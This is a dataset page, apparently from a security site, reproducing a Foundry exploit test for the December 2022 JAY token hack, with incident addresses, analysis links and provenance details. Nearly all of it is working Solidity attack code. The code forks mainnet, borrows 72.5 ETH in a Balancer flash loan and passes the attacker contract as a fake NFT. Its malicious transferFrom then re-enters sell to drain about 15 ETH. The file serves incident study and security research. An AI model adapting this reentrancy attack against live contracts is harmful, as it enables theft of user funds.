Public reproduction file
src/test/2022-12/JAY_exp.sol
Public reproduction file for dataset entry - JAY.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~15.32 ETH8// Attacker : 0x0348D20b74Ddc0ac9bfC3626e06d30bb6Fac213b9// Attack Contract : https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf3734010// Vulnerable Contract : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff211// Attack Tx : https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f613// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2#code#L111516// @Analysis17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/160837247522586624018// Article Shashank : https://blog.solidityscan.com/jay-token-exploit-reentrancy-attack-d7a4923b633319// Article Hypernative : https://www.hypernative.io/blog/jaypeggers-exploit21interface IJay {22 function buyJay(23 address[] memory erc721TokenAddress,24 uint256[] memory erc721Ids,25 address[] memory erc1155TokenAddress,26 uint256[] memory erc1155Ids,27 uint256[] memory erc1155Amounts28 ) external payable;29 function sell(30 uint256 value31 ) external;32 function balanceOf(33 address account34 ) external view returns (uint256);35}37contract ContractTest is Test {38 IJay constant JAY_TOKEN = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);39 IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);40 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));41 uint256 constant BORROWED_ETH = 72.5 ether;43 function setUp() public {44 vm.createSelectFork("mainnet", 16_288_199);45 // Adding labels to improve stack traces' readability46 vm.label(address(JAY_TOKEN), "JAY_TOKEN");47 vm.label(address(BALANCER_VAULT), "BALANCER_VAULT");48 vm.label(address(WETH_TOKEN), "WETH_TOKEN");49 vm.label(0xce88686553686DA562CE7Cea497CE749DA109f9F, "BALANCER_ProtocolFeesCollector");50 }52 function testExploit() public {53 // "Clean" contract's balance54 payable(address(0)).transfer(address(this).balance);55 emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);57 // Setup flashloan parameters58 address[] memory tokens = new address[](1);59 tokens[0] = address(WETH_TOKEN);60 uint256[] memory amounts = new uint256[](1);61 amounts[0] = BORROWED_ETH;62 // The following value for "b" was used in the original exploit, but it is actually not required here63 bytes memory b =64 "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000";66 // Execute the flashloan. It will return the funds in the `receiveFlashLoan()` callback67 BALANCER_VAULT.flashLoan(address(this), tokens, amounts, b);69 emit log_named_decimal_uint("[End] Attacker ETH balance after exploit", address(this).balance, 18);70 }72 /*73 * Callback function called by the Balancer Vault during the flashloan74 */75 function receiveFlashLoan(76 IERC20[] memory, /* tokens*/77 uint256[] memory amounts,78 uint256[] memory, /*feeAmounts*/79 bytes memory /*userData*/80 ) external {81 require(msg.sender == address(BALANCER_VAULT));83 // Transfer WETH to ETH and start the attack84 WETH_TOKEN.withdraw(amounts[0]);86 JAY_TOKEN.buyJay{value: 22 ether}(87 new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)88 );90 address[] memory erc721TokenAddress = new address[](1);91 erc721TokenAddress[0] = address(this);93 uint256[] memory erc721Ids = new uint256[](1);94 erc721Ids[0] = 0;96 JAY_TOKEN.buyJay{value: 50.5 ether}(97 erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)98 );99 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));100 JAY_TOKEN.buyJay{value: 3.5 ether}(101 new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)102 );103 JAY_TOKEN.buyJay{value: 8 ether}(104 erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)105 );106 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));108 // Repay the flashloan by depositing ETH for WETH and transferring it back to Balancer109 (bool success,) = address(WETH_TOKEN).call{value: BORROWED_ETH}("deposit");110 require(success, "Deposit failed");111 WETH_TOKEN.transfer(address(BALANCER_VAULT), BORROWED_ETH);112 }114 function transferFrom(address, /*sender*/ address, /*recipient*/ uint256 /*amount*/ ) external {115 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this))); // reenter call JAY_TOKEN.sell116 }118 receive() external payable {}119}Analysis
Dataset entry
Public Foundry test for “- JAY” (2022-12-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0348d20b74ddc0ac9bfc3626e06d30bb6fac213b
- Attack Contract
0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340
- Vulnerable Contract
0xf2919d1d80aff2940274014bef534f7791906ff2
- Attack Tx
0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
- Twitter: https://twitter.com/BlockSecTeam/status/1608372475225866240
- Article: https://blog.solidityscan.com/jay-token-exploit-reentrancy-attack-d7a4923b6333
- Article: https://www.hypernative.io/blog/jaypeggers-exploit
- Explorer: https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340
- Explorer: https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2
- Explorer: https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2#code#L1115
File record
- Name
- JAY
- Path
- src/test/2022-12/JAY_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5f36cbfaa10bf0f4d4e0d6ff1c1f56fc7547e2f5
- Language
- Solidity
- Size
- 120 lines
- Date
- 2022-12-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/JAY_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5f36cbfaa10bf0f4d4e0d6ff1c1f56fc7547e2f5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.